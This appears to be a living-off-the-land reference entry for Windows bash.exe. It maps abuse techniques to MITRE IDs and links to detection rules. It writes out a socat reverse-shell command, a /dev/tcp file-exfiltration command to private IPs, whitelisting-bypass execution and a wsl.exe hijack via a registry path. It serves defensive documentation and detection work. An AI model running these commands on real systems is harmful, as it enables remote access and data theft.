Bash.exe

Commands

1. ExecuteUser T1202

   Performs execution of specified file, can be used as a defensive evasion.

   bash.exe -c "{CMD}"

   Executes executable from bash.exe

   os: Windows 10

   Execute: CMD

2. ExecuteUser T1202

   Performs execution of specified file, can be used as a defensive evasion.

   bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

   Executes a reverse shell

   os: Windows 10

   Execute: CMD

3. ExecuteUser T1202

   Performs execution of specified file, can be used as a defensive evasion.

   bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'

   Exfiltrate data

   os: Windows 10

   Execute: CMD

4. AWL BypassUser T1202

   Performs execution of specified file, can be used to bypass Application Whitelisting.

   bash.exe -c "{CMD}"

   Executes executable from bash.exe

   os: Windows 10

   Execute: CMD

5. ExecuteUser T1218

   Execute a payload as a child process of `bash.exe` while masquerading as WSL.

   bash.exe

   When executed, bash.exe queries the registry value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation, which contains a folder path (c:\program files\wsl by default). If the value points to another folder containing a file named wsl.exe, it will be executed instead of the legitimate wsl.exe in the program files folder.

   os: Windows 10, Windows Server 2019, Windows 11

   Execute: CMD

Detection

• BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
• IOCChild process from bash.exe

Resources

• https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/